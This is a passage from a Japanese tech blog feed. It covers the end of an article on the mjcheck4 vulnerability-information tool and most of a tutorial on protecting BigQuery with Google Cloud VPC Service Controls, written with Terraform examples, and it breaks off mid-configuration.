<p>一般的には下図のようなフローを随時回していくことになります（状況により諸説あります）。<br><img src="/images/2023/20230419a/image_5.png" alt="" width="854" height="488" loading="lazy"></p>
<p>簡略化すると以下のようになり、本ツールは「脆弱性情報の収集」部分となります。</p>
<ul>
<li>対象のソフトウェアを設定する部分が「対象の把握」に該当します</li>
<li>ツールによるチェックが「脆弱性情報の取集」に該当します</li>
</ul>
<img src="/images/2023/20230419a/image_6.png" alt="" width="736" height="215" loading="lazy">

<p>収集した脆弱性情報を確認し、適用要否を判断し、実際に適用&#x2F;回避策の適用 を行います。</p>
<ul>
<li>クライアントな端末の場合、多くは判断不要でアップデートができると思います。<ul>
<li>例：Windows自身のアップデートや、Google Chromeなどのアプリケーションのアップデート</li>
</ul>
</li>
<li>サービス提供をしているネットワーク機器やサーバの場合、適用要否を検討して対応を決めます。<ul>
<li>アップデートによる挙動変化が無い、若しくは許容できることを確認するために、検証が必要です。</li>
<li>アップデートを行わないことにより発生する損害リスクを考慮し、許容できる場合は対応保留とする場合もあります。</li>
<li>これらの判断の為に、「脆弱性対策情報」の詳細項目を確認します。<ul>
<li>CVSSの情報などを基に、システムが置かれている環境などを考慮して決定します。</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>本ツール mjcheck4 は、脆弱性対策情報の内容が少し分かりづらいかもしれませんが、「<strong>脆弱性対策のはじめの一歩</strong>」としては有効だと思われます。</p>
<ul>
<li>Pros<ul>
<li>無償で、JVN iPediaの情報を収集&#x2F;選別できる<ul>
<li>きちんと設定できれば、一旦は問題ない範囲を対象と出来る</li>
</ul>
</li>
<li>メールでの通知機能がある</li>
<li>対象製品登録が、GUI的に比較的楽</li>
</ul>
</li>
<li>Cons<ul>
<li>脆弱性対策情報が少ない<ul>
<li>JVN iPediaの情報のみで、CVSSでしか判断できない（慣れてくると、物足りない）</li>
</ul>
</li>
<li>自動運行が難しい<ul>
<li>アプリ起動時にチェックが走る為、例えば毎日起動しなおす必要がある</li>
</ul>
</li>
<li>ソースがJVN iPediaである<ul>
<li>NVDやベンダーの脆弱性情報が全てあるわけではない<ul>
<li>これにより、例えば UbuntuやRed HatなどのLinuxサーバの脆弱性を確認するのは難しい</li>
</ul>
</li>
</ul>
</li>
<li>バージョン比較はできない<ul>
<li>mjcheck4のUIでは、対象製品のバージョンまでは登録できない<ul>
<li>例えば、<code>cpe:/a:oracle:java_se</code>のような記載となり、java SEのバージョンまでは記載しない</li>
</ul>
</li>
<li>特定バージョンのみ影響を受けるような脆弱性の場合、バージョンを考慮していないので手動で影響対象かを判別する必要がある</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>まだ脆弱性情報収集と対策を本格的に実施していない組織においては、以下のステップを踏んだ方がよさそうです。</p>
<ul>
<li>まずはmjcheck4でを使う<ul>
<li>mjcheck4 で、主要なクライアント／サーバ&#x2F;ネットワーク機器 などを登録して、現状を把握する<ul>
<li>登録するために、現状を確認するというアクションが行える</li>
</ul>
</li>
</ul>
</li>
<li>一部に於いて、脆弱性対応を始めてみる<ul>
<li>前述の対応フローを参考に、脆弱性情報を読みながら、できるところから対応をしてみる</li>
<li>一部ずつ始め、できる範囲を増やし、対応に関する知見を得る</li>
</ul>
</li>
<li>商用製品の脆弱性管理ツールを検討する<ul>
<li>商用製品であれば、mjcheck4で不足していると感じる部分が提供されていることが多いので、乗り換える<ul>
<li>対応のタスク管理機能、バージョンによる脆弱性の有無判断、対応優先度決め、多数の環境への対応、等</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="まとめ">まとめ</h2><p>mjcheck4は、比較的簡易にセキュリティ情報収集を始められることが確認できました。</p>
<p>脆弱性情報を収集した後の「脆弱性対応」をするには少し物足りないものですが、「まずはやってみる」という点では良いのではないかと思います。</p>
<p>こういうツールでまずはセキュリティ情報収集&#x2F;脆弱性対応の必要性を感じつつ、大規模且つ重要なシステムは FutureVuls などの脆弱性管理サービスを使うのが良いかと思います。</p>
<p>もし、脆弱性対応についてお困りのことがあれば、井上までご相談ください。<br>製品ありきではなく、何らかの知見を共有できるかもしれません。</p>
<p>以上です。</p>
<p>次は市川さんのCloud Data Fusionで始めるETL入門です。</p>
]]></content>
    <summary type="html">初めて脆弱性対応をする方に向けた記事を書いてみようと思います。この時期になると、部門移動等で情報システム部に移動し「何をやっていいのか分からない…」という話も時々聞きます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="CVSS" scheme="https://future-architect.github.io/tags/CVSS/"/>
    <category term="JVN" scheme="https://future-architect.github.io/tags/JVN/"/>
    <category term="Linux" scheme="https://future-architect.github.io/tags/Linux/"/>
    <category term="入門" scheme="https://future-architect.github.io/tags/%E5%85%A5%E9%96%80/"/>
    <category term="初心者向け" scheme="https://future-architect.github.io/tags/%E5%88%9D%E5%BF%83%E8%80%85%E5%90%91%E3%81%91/"/>
    <category term="脆弱性" scheme="https://future-architect.github.io/tags/%E8%84%86%E5%BC%B1%E6%80%A7/"/>
  </entry>
  <entry>
    <title>VPC Service ControlでGoogle Cloud環境をガッチリ守る</title>
    <link href="https://future-architect.github.io/articles/20230119a/"/>
    <id>https://future-architect.github.io/articles/20230119a/</id>
    <published>2023-01-18T15:00:00.000Z</published>
    <updated>2023-01-18T15:00:00.000Z</updated>
    <author><name>岸下優介</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>こんにちは、本記事ではGoogle CloudのVPC Service Controlsを利用して、リソースへのアクセス制御を行う方法についてTerraformコード付きで紹介していきたます。</p>
<p>昨今では、個人情報漏洩のニュースが尽きません。少し古いデータではありますが、2012年～2021年に漏洩・紛失した可能性のある個人情報は累計で1億1979万人分にのぼり、2022年を含めるともっと多くなりそうです。<br>個人情報漏えい、10年間で日本の人口とほぼ同じ人数分が上場企業から流出・紛失【東京商工リサーチ調べ】</p>
<p>セキュリティインシデントを起こさないためにも、基本的にはデータへのアクセスを拒否し、データにアクセスできる人を絞って穴あけするなど、しっかりとデータを守っておく必要があります。</p>
<p>そんな要求に答えるのがVPC Service Controlsになります。</p>
<h2 id="VPC-Service-Controlsとは">VPC Service Controlsとは</h2><p>VPC Service Controlsの概要</p>
<p>VPC Service Controlsを利用することによって、Google Cloudのリソースへのアクセスに境界を作ることができます。</p>
<p>例えば、BigQueryやCloud Storageに個人を特定できる情報（例：身長、体重、性別、年齢）や画像が置かれている場合、VPC Service Controlsを利用することで<strong>それらのリソースに限られた人間のみがアクセス可能</strong>となります。</p>
<p>また境界の内外におけるデータ移動を制御できるため、データが境界の外へ持ち出されることも防ぎます（境界を超える通信はデフォルトでブロックされます）。</p>
<img fetchpriority="high" src="/images/2023/20230119a/a864e1b2-7cd3-c69c-bf63-fe2b21622b6d.png" alt="" width="1200" height="640">

<p>こちらの画像のように、境界（Service Perimeter）内に存在するBigQueryは認証されたVPC、VM（GCE）からのみアクセス可能となり、認証されていないリソースからは境界内へのアクセス・境界外へのアクセス共に制限されることになります。</p>
<p>現在、VPC Service Controlsがサポートしているリソースの一覧はこちらになります。<br>VPC Service Controlでサポートされているプロダクトと制限事項</p>
<h3 id="Cloud-IAMとは違うの？">Cloud IAMとは違うの？</h3><p>Cloud IAMもリソースへのアクセスを制限するためのサービスで、<strong>詳細なIDベースのアクセス制御を主</strong>としています。IDベースなので例えばログインしているアカウント、所属するグループ、サービスアカウントなどを基にアクセス制御を行います。</p>
<p>VPC Service Controlsはそれに加えて、境界全体への上り（Ingress）・下り（Egress）データの制御など、<strong>コンテキストベースの境界セキュリティが可能</strong>となります。</p>
<p>コンテキストベースは、例えば「どこ（IPアドレス）」「だれ（ユーザーアカウント・サービスアカウント、<strong>グループは現在不可</strong>）」「何で（OS）」などアクセス元の背景からリソースへのアクセス可否を判断します。</p>
<p>どちらが良い・悪いというのは無く、併用することでより強固なセキュリティを築くことが可能となります。</p>
<h2 id="BigQueryを使って挙動を確認">BigQueryを使って挙動を確認</h2><h3 id="Organizationの設定が必要">Organizationの設定が必要</h3><p>VPC Service Controlを始めるにはOrganizationが必要となります。Organizationの設定にはドメインが必要となるため、Google Domainなどで取得する（年間1200円～）必要があります。もし、既にドメインをお持ちの場合はサブドメインを作って、それをOrganizationへ適用できます。</p>
<p>Organizationの作成方法は以下を参考にするとよいです。<br>GCP で組織を作成して共有 VPC 構築 - 1.ドメイン取得</p>
<h3 id="アクセスポリシーを作成する">アクセスポリシーを作成する</h3><p>アクセスポリシーは、以後出てくるアクセスレベルやサービス境界など、全てのAccess Context Managerリソースのコンテナ（箱）です。</p>
<p>Organizationに対してOrganizationレベルのアクセスポリシーを作成し、組織内のフォルダとプロジェクトに対してスコープポリシーを作成します。</p>
<figure class="highlight sh"><figcaption><span>access_context_manager_access_policy.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_access_policy&quot;</span> <span class="string">&quot;access_policy&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;organizations/1234567890123&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;Test access policy&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><code>parent</code>には自身のOrganization IDを入力する必要があり、<code>title</code>がOrganizationのアクセスポリシーの名前となります。</p>
<p>作成すると、Organization→セキュリティ→VPC Service Controls上にアクセスポリシーが作成されていることが確認できます。</p>
<img src="/images/2023/20230119a/d0b0a574-e85f-3509-49bc-263a2ec8b6f5.jpeg" alt="" width="1120" height="334" loading="lazy">

<h3 id="ID制御をやってみる">ID制御をやってみる</h3><p>ID制御をしてみます。<br>通常は画像のようにBigQueryのDataset, tableを見ることができます。</p>
<img src="/images/2023/20230119a/da83249a-b466-c2eb-8ea7-9e5fe5e9abfc.jpeg" alt="" width="894" height="396" loading="lazy">

<p>これに対して、以下のようなBigQueryへの内向きのみを許可したサービス境界を設定してみます。</p>
<img src="/images/2023/20230119a/755d759c-cde1-42d1-c0c4-e62dc1425a89.png" alt="" width="930" height="348" loading="lazy">

<h4 id="アクセスレベルを作成する">アクセスレベルを作成する</h4><p>アクセスレベルではリソースへのアクセスを許可する条件を定義します。<br>例えば、IPアドレスやID（ユーザーアカウント、サービスアカウント）を用いたアクセス条件を<code>AND</code>や<code>OR</code>を使って定義でき、この条件に適したユーザーのみがリソースへアクセス可能となります。<br>Terraformでは以下のようにアクセスレベルを作成します。</p>
<figure class="highlight sh"><figcaption><span>access_context_manager_access_level.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_access_level&quot;</span> <span class="string">&quot;id&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/accessLevels/specified_id&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;Specified ID&quot;</span></span><br><span class="line"></span><br><span class="line">  basic &#123;</span><br><span class="line">    conditions &#123;</span><br><span class="line">      // アクセスを許可する条件</span><br><span class="line">      // ここで気を付けたいのが、メールアドレスの前にuser:をつけること</span><br><span class="line">      // ServiceAccountの場合はserviceAccount:&#123;emailid&#125;</span><br><span class="line">      // また、グループはサポートされていない</span><br><span class="line">      members = [</span><br><span class="line">        <span class="string">&quot;user:xxx@yyy.com&quot;</span></span><br><span class="line">      ]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h4 id="サービス境界を作成する">サービス境界を作成する</h4><p>VPC Service Controlsの主役です。指定したサービスのリソースに対して外部アクセスから保護するための境界を作ります。</p>
<p>以下のようにTerraformコードを作成し、サービス境界を作成します。</p>
<figure class="highlight sh"><figcaption><span>access_context_manager_service_perimeters.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_service_perimeter&quot;</span> <span class="string">&quot;service_perimeter_qiita&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/servicePerimeters/restrict_bigquery&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;restrict_bigquery&quot;</span></span><br><span class="line">  status &#123;</span><br><span class="line">    // 境界を作るサービスを列挙する</span><br><span class="line">    restricted_services = [</span><br><span class="line">      <span class="string">&quot;bigquery.googleapis.com&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    // 境界を作るプロジェクト</span><br><span class="line">    resources = [</span><br><span class="line">      <span class="string">&quot;projects/123456789012&quot;</span> // Project IDで指定する</span><br><span class="line">    ]</span><br><span class="line">    // アクセスレベル</span><br><span class="line">    access_levels = [</span><br><span class="line">      google_access_context_manager_access_level.access_level_id.name</span><br><span class="line">    ]</span><br><span class="line">    // 内向きポリシー</span><br><span class="line">    ingress_policies &#123;</span><br><span class="line">      ingress_from &#123;</span><br><span class="line">        // IDタイプはidentitiesで指定するため、UNSPECIFIEDになる</span><br><span class="line">        identity_type = <span class="string">&quot;IDENTITY_TYPE_UNSPECIFIED&quot;</span></span><br><span class="line">        // 内向き元のID</span><br><span class="line">        identities = [</span><br><span class="line">          <span class="string">&quot;user:xxx@yyy.com&quot;</span> // メールアドレスで指定する</span><br><span class="line">        ]</span><br><span class="line">      &#125;</span><br><span class="line">      ingress_to &#123;</span><br><span class="line">        // 境界内のプロジェクトの内、アクセスするプロジェクト</span><br><span class="line">        resources = [<span class="string">&quot;*&quot;</span>]</span><br><span class="line">        // 許可する操作</span><br><span class="line">        operations &#123;</span><br><span class="line">          service_name = <span class="string">&quot;bigquery.googleapis.com&quot;</span></span><br><span class="line">          // 許可するメソッド（API）を指定する</span><br><span class="line">          // 今回は全てのメソッドを指定しているため、*になっている</span><br><span class="line">          method_selectors &#123;</span><br><span class="line">            method = <span class="string">&quot;*&quot;</span></span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>アクセスレベルの<code>members</code>、サービス境界の<code>ingress_from</code>の<code>identities</code>、どちらもID<code>&quot;user:xxx@yyy.com&quot;</code>を設定しています。</p>
<p>アクセスレベル側では<code>restricted_services</code>全体に対しての制御になります。今回はBigQueryのみしか入っておりませんが、Cloud Storageなど他のサービス入れることができ、<code>restricted_services</code>に入っているサービス全てにアクセスレベル側での<code>members</code>設定が適用されます。また、アクセスレベル側で許可されている場合はIngress&#x2F;Egress両方の操作が可能となります。</p>
<p>サービス境界側の<code>identities</code>はTerraformコードの構成を見るとわかるように、内向き（Ingress）・外向き（Egress）で、尚且つAPI毎で適用されることになります。そのため、アクセスレベルですり抜けた場合にIngress&#x2F;Egressでのポリシーが適用されます。</p>
<p>今回の場合だとBigQueryのみしかないので<code>identities</code>の指定は不要ですが、参考のために記載しております。</p>
<h4 id="認証されたアカウントで確認してみる">認証されたアカウントで確認してみる</h4><p>アクセスレベルで許可されたアカウントでBigQueryを見てみると先ほどと同じようにテーブルが表示されます。</p>
<img src="/images/2023/20230119a/da83249a-b466-c2eb-8ea7-9e5fe5e9abfc_2.jpeg" alt="" width="894" height="396" loading="lazy">

<p>次に認証されていないプロジェクトからクエリを実行してみます。</p>
<img src="/images/2023/20230119a/7f3f9c23-2e49-3aea-acaa-2e29d774582b.jpeg" alt="" width="1200" height="223" loading="lazy">

<p>右上に赤字で<code>VPC Service Controls: Request is prohibited by organization&#39;s policy. vpcServiceControlsUniqueIdentifier: -ZWUwU96cNc6_jcWbyKhbCfz9canAZcNkQjPcb4uEhOY00WbG64xVw.</code>と表示され、クエリが実行できなくなっています。<br>こちらの原因としては今回内向き（Ingress）のみしか許可していなかったため、サービス境界外へのデータ持ち出しが拒否されたことによるものです。</p>
<img src="/images/2023/20230119a/fbf4eb92-8842-ec33-9104-afeec96066bd.png" alt="" width="816" height="280" loading="lazy">

<h5 id="少し寄り道：ポリシー違反のトラブルシューティング">少し寄り道：ポリシー違反のトラブルシューティング</h5><p>ポリシー違反の理由を確認するために、Google CloudではVPC Service Controls のトラブルシューティングが用意されています。<br>VPC Service Controls のトラブルシューティングによる問題の診断</p>
<p>上記のようにポリシー違反が発生した際、<code>vpcServiceControlsUniqueIdentifier:</code>以降の文字列をVPC Service Controls のトラブルシューティングに入力すると違反理由が確認できます。</p>
<img src="/images/2023/20230119a/b666ebc4-5fc7-cfee-b484-e523c7d96640.png" alt="" width="823" height="663" loading="lazy">

<p>トラブルシューティングをすると、以下のように行われた動作と違反理由が表示されます。</p>
<img src="/images/2023/20230119a/0e0f69b8-fb59-c4a1-12b4-bb8e739f200f.png" alt="" width="949" height="463" loading="lazy">
上記のポリシー違反理由は、サービス境界外で`tables.getData`が行われたことが原因のようです。
また、このことからクエリ実行の際、コンソールの裏側ではAPI（`tables.getData`）がコールされていることもわかります。

<h4 id="認証されていないアカウントで確認してみる">認証されていないアカウントで確認してみる</h4><p>また、認証されていないアカウントで確認してみると以下のように表示されます。</p>
<img src="/images/2023/20230119a/898b2891-6500-d523-2d73-a9ea1c6c24e4.png" alt="" width="1200" height="287" loading="lazy">

<p>データセットすら見えず、クエリを打とうとすると右上に赤字で<code>VPC Service Controls: Request is prohibited by organization&#39;s policy.</code>と表示されています。</p>
<img src="/images/2023/20230119a/263efca8-74e1-8ad3-3501-b668c6e69473.png" alt="" width="777" height="331" loading="lazy">

<p>認証されていないアカウントで<code>bq</code>コマンドでも同様に確認してみます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">bq query --use_legacy_sql=<span class="literal">false</span> --project_id &lt;YOUR_PROJECT_ID&gt;  <span class="string">&#x27;select worker_id from `****-service-three.svc3_dataset.test_table`&#x27;</span></span></span><br><span class="line"></span><br><span class="line">BigQuery error in query operation: VPC Service Controls: Request is prohibited by organization&#x27;s policy.</span><br><span class="line">vpcServiceControlsUniqueIdentifier: ***.</span><br></pre></td></tr></table></figure>

<p><code>bq</code>コマンドでもデータにアクセスできないことが確認できました。<br>以上より、サービス境界が作られていることがわかりました。</p>
<h3 id="IP制御を加えてみる">IP制御を加えてみる</h3><p>アクセスレベルにGCEのVMに付与されたIPアドレスを指定し、先ほどと同様のサービス境界を作成します。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_access_level&quot;</span> <span class="string">&quot;id_and_ip&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/accessLevels/specified_id_and_ip&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;Specified ID and IP&quot;</span></span><br><span class="line"></span><br><span class="line">  basic &#123;</span><br><span class="line">    <span class="comment"># combining_functionで各条件の組み合わせ条件を指定する</span></span><br><span class="line">    <span class="comment"># デフォルトはANDになる</span></span><br><span class="line">    combining_function = <span class="string">&quot;AND&quot;</span></span><br><span class="line">    conditions &#123;</span><br><span class="line">      members = [</span><br><span class="line">        <span class="string">&quot;user:xxx@yyy.com&quot;</span></span><br><span class="line">      ]</span><br><span class="line">    &#125;</span><br><span class="line">    conditions &#123;</span><br><span class="line">      ip_subnetworks = [</span><br><span class="line">        <span class="string">&quot;xx.xx.xx.xx/32&quot;</span></span><br><span class="line">      ]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>先ほどアクセス可能だったアカウントからGoogle CloudコンソールのBigQueryへアクセスして、クエリを実行してみます。<br><img src="/images/2023/20230119a/77f9a4f8-2a73-f0d1-400a-e306ffb1b765.png" alt="" width="1200" height="123" loading="lazy"></p>
<p>アクセスできなくなったことが確認できます。</p>
<img src="/images/2023/20230119a/9de770bd-ea00-9238-2464-906a4bc2561a.png" alt="" width="795" height="320" loading="lazy">

<p>次に指定されたIPアドレスのVMに認証済みのアカウントで<code>gcloud auth login</code>してから<code>bq</code>コマンドを打ってみます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bq query --use_legacy_sql=<span class="literal">false</span> --project_id &lt;YOUR_PROJECT_ID&gt;  <span class="string">&#x27;select worker_id from `****-service-three.svc3_dataset.test_table`&#x27;</span></span><br><span class="line">+-----------+</span><br><span class="line">| worker_id |</span><br><span class="line">+-----------+</span><br><span class="line">|         1 |</span><br><span class="line">|         4 |</span><br><span class="line">|         3 |</span><br><span class="line">|         5 |</span><br><span class="line">|         2 |</span><br><span class="line">+-----------+</span><br></pre></td></tr></table></figure>

<p>無事にクエリを実行できました。</p>
<img src="/images/2023/20230119a/27b0c988-2a46-cf62-d7c1-910a171c2e00.png" alt="" width="925" height="338" loading="lazy">

<p>このようにアクセスレベルでは個々のIPやアカウントを利用した細かい制御ができます。<br>他にもOSの指定（有料）、スクリーンロックを要求するなどを設定できます。</p>
<h2 id="応用編">応用編</h2><h3 id="Service-Perimeterで守られた2つのBigQuery間でテーブルをJOINする">Service Perimeterで守られた2つのBigQuery間でテーブルをJOINする</h3><p>2つのプロジェクトを用意し、各プロジェクトで以下のデータセットを用意します。</p>
<figure class="highlight bash"><figcaption><span>ProjectA</span></figcaption><table><tr><td class="code"><pre><span class="line">+---------------+-----------------+</span><br><span class="line">| department_id | department_name |</span><br><span class="line">+---------------+-----------------+</span><br><span class="line">|             3 | HR              |</span><br><span class="line">|             1 | Engineer        |</span><br><span class="line">|             5 | Marketing       |</span><br><span class="line">|             4 | BackOffice      |</span><br><span class="line">|             2 | Sales           |</span><br><span class="line">+---------------+-----------------+</span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><figcaption><span>ProjectA</span></figcaption><table><tr><td class="code"><pre><span class="line">+-----------+-----------+-----+---------------+</span><br><span class="line">| worker_id |   name    | age | department_id |</span><br><span class="line">+-----------+-----------+-----+---------------+</span><br><span class="line">|         1 | Tanaka    |  23 |             1 |</span><br><span class="line">|         4 | Kobayashi |  28 |             2 |</span><br><span class="line">|         3 | Yamada    |  56 |             2 |</span><br><span class="line">|         5 | Suzuki    |  44 |             3 |</span><br><span class="line">|         2 | Sasaki    |  34 |             5 |</span><br><span class="line">+-----------+-----------+-----+---------------+</span><br></pre></td></tr></table></figure>

<p>そして、それぞれのBigQueryを以下のように別のサービス境界で守ります。</p>
<img src="/images/2023/20230119a/34000be3-c373-0fe1-47b6-fdae7b41ec73.png" alt="" width="1078" height="374" loading="lazy">

<p>ではこの時、どのようにIngree&#x2F;Egressを設定すればよいのでしょうか？<br>正解は以下のようになります。</p>
<img src="/images/2023/20230119a/e43ce7a0-2d0e-6e65-a572-88d487eacd7b.png" alt="" width="928" height="489" loading="lazy">

<p>アクセスレベルには先ほどと同様のIDとIPで指定したアクセスレベルを利用し、サービス境界のTerraformコードは以下になります。</p>
<figure class="highlight sh"><figcaption><span>perimeter_project_a.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_service_perimeter&quot;</span> <span class="string">&quot;projecta_perimeter&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/servicePerimeters/projecta&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;ProjectA&quot;</span></span><br><span class="line">  status &#123;</span><br><span class="line">    restricted_services = [</span><br><span class="line">      <span class="string">&quot;bigquery.googleapis.com&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    resources = [</span><br><span class="line">      <span class="string">&quot;projects/111111111111&quot;</span>, <span class="comment"># ProjectA</span></span><br><span class="line">    ]</span><br><span class="line">    access_levels = [</span><br><span class="line">      google_access_context_manager_access_level.access_level_id_and_ip.name</span><br><span class="line">    ]</span><br><span class="line">    egress_policies &#123;</span><br><span class="line">      egress_from &#123;</span><br><span class="line">        identity_type = <span class="string">&quot;ANY_IDENTITY&quot;</span></span><br><span class="line">      &#125;</span><br><span class="line">      egress_to &#123;</span><br><span class="line">        resources = [</span><br><span class="line">          <span class="string">&quot;projects/222222222222&quot;</span> <span class="comment"># ProjectB</span></span><br><span class="line">          ]</span><br><span class="line">        operations &#123;</span><br><span class="line">          service_name = <span class="string">&quot;bigquery.googleapis.com&quot;</span></span><br><span class="line">          method_selectors &#123;</span><br><span class="line">            method = <span class="string">&quot;*&quot;</span></span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight sh"><figcaption><span>perimeter_project_b.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_service_perimeter&quot;</span> <span class="string">&quot;projecta_perimeter&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/servicePerimeters/projectb&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;ProjectB&quot;</span></span><br><span class="line">  status &#123;</span><br><span class="line">    restricted_services = [</span><br><span class="line">      <span class="string">&quot;bigquery.googleapis.com&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    resources = [</span><br><span class="line">      <span class="string">&quot;projects/222222222222&quot;</span>, <span class="comment"># ProjectB</span></span><br><span class="line">    ]</span><br><span class="line">    access_levels = [</span><br><span class="line">      google_access_context_manager_access_level.access_level_id_and_ip.name</span><br><span class="line">    ]</span><br><span class="line">    egress_policies &#123;</span><br><span class="line">      egress_from &#123;</span><br><span class="line">        identity_type = <span class="string">&quot;ANY_IDENTITY&quot;</span></span><br><span class="line">      &#125;</span><br><span class="line">      egress_to &#123;</span><br><span class="line">        resources = [</span><br><span class="line">          <span class="string">&quot;projects/111111111111&quot;</span> <span class="comment"># ProjectA</span></span><br><span class="line">          ]</span><br><span class="line">        operations &#123;</span><br><span class="line">          service_name = <span class="string">&quot;bigquery.googleapis.com&quot;</span></span><br><span class="line">          method_selectors &#123;</span><br><span class="line">            method = <span class="string">&quot;*&quot;</span></span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><figcaption><span>terminal</span></figcaption><table><tr><td class="code"><pre><span class="line">bq query --use_legacy_sql=<span class="literal">false</span>  <span class="string">&#x27;select name, age, department_name from `project-a.dataset.table1` as table1 join `project-b.dataset.table2` as table2 on table1.department_id=table2.department_id&#x27;</span></span><br><span class="line">+-----------+-----+-----------------+</span><br><span class="line">|   name    | age | department_name |</span><br><span class="line">+-----------+-----+-----------------+</span><br><span class="line">| Suzuki    |  44 | HR              |</span><br><span class="line">| Tanaka    |  23 | Engineer        |</span><br><span class="line">| Sasaki    |  34 | Marketing       |</span><br><span class="line">| Kobayashi |  28 | Sales           |</span><br><span class="line">| Yamada    |  56 | Sales           |</span><br><span class="line">+-----------+-----+-----------------+</span><br></pre></td></tr></table></figure>

<p>お互いにEGRESSを許可することでJOINが可能になります。<br>結合処理を行うスロットに送られる際に、ProjectA側のテーブルとProjectB側のテーブルが<strong>外に持ち出される</strong>ことでEGRESSの穴あけが必要になるようです。</p>
<h2 id="Shared-VPCでアクセス制御する">Shared VPCでアクセス制御する</h2><p>Shared VPCのプロジェクトでVPC Service Controlsを利用したい場合は、同じ境界内にVPCホストプロジェクトも含めないと、期待する動作にならない可能性があるみたいです。<br>Shared VPCにおけるVPC Service Controls</p>
<p>そのため、以下のように<code>resources</code>へVPCホストプロジェクトも含めるようにしましょう。</p>
<figure class="highlight sh"><figcaption><span>perimeter_shared_pj.tf</span></figcaption><table><tr><td class="code"><pre><span class="line">resource <span class="string">&quot;google_access_context_manager_service_perimeter&quot;</span> <span class="string">&quot;shared_pj_perimeter&quot;</span> &#123;</span><br><span class="line">  parent = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>&quot;</span></span><br><span class="line">  name   = <span class="string">&quot;accessPolicies/<span class="variable">$&#123;google_access_context_manager_access_policy.access_policy.name&#125;</span>/servicePerimeters/shared_pj_perimeter&quot;</span></span><br><span class="line">  title  = <span class="string">&quot;Shared PJ Perimeter&quot;</span></span><br><span class="line">  status &#123;</span><br><span class="line">    restricted_services = [</span><br><span class="line">      <span class="string">&quot;bigquery.googleapis.com&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    // 境界を作るプロジェクトにホストプロジェクトも含める</span><br><span class="line">    resources = [</span><br><span class="line">      <span class="string">&quot;projects/333333333333&quot;</span>, <span class="comment"># shared-vpc-pj</span></span><br><span class="line">      <span class="string">&quot;projects/444444444444&quot;</span>, <span class="comment"># shared-vpc-host-pj</span></span><br><span class="line">    ]</span><br><span class="line">    access_levels = [</span><br><span class="line">      google_access_context_manager_access_level.access_level_id.name</span><br><span class="line">    